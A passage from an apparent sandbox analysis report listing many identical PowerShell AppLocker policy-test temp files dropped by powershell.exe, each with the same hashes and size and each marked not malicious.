                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gmv4bwl3.vui.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gqjmypbd.wuq.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_havsw0cg.2fp.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jwghrgc3.ccb.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lmp1n21y.0ry.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lnyo5coz.gw5.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlgsyce3.aah.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mnsmncx0.ldj.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_muksgqt4.b55.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1emjwhr.aft.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nerwbb4b.n5x.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmmor355.cxa.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nodof24e.clm.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nztjkdur.nq3.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o2wz2uaa.zvb.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ovcwruqb.z40.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oyyc1su0.x1z.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q0jvksb5.elv.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qcy4j4fv.udd.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgvb0uj3.a3l.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnbf3l3w.eon.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qoarojeb.cw4.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qxkt5wxs.b50.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
